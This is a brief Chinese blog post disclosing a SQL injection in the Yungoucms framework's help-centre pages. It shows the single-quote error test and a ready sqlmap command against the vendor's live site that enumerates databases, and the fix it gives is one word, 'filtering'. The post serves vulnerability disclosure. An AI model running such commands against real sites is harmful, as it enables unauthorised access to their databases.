Yungoucms商业框架sql注入及修复 – 网站安全

这里用Yungoucms商业框架的官方前台http://www.yungoucms.cn做测试。该注入点位于帮助中心的任一页面，比如http://www.yungoucms.cn/help/1 加'，报错 Yungoucms商业框架sql注入及修复 – 网站安全 – 自学插图

请出sqlmap 这是一个伪静态页面，直接加*跑数据 python sqlmap.py -u "http://www.yungoucms.cn/help/1*" --dbs Yungoucms商业框架sql注入及修复 – 网站安全 – 自学插图1

修复方案： 过滤

本博客所有文章如无特别注明均为原创。
复制或转载请以超链接形式注明转自起风了，原文地址《Yungoucms商业框架sql注入及修复 – 网站安全 – 自学》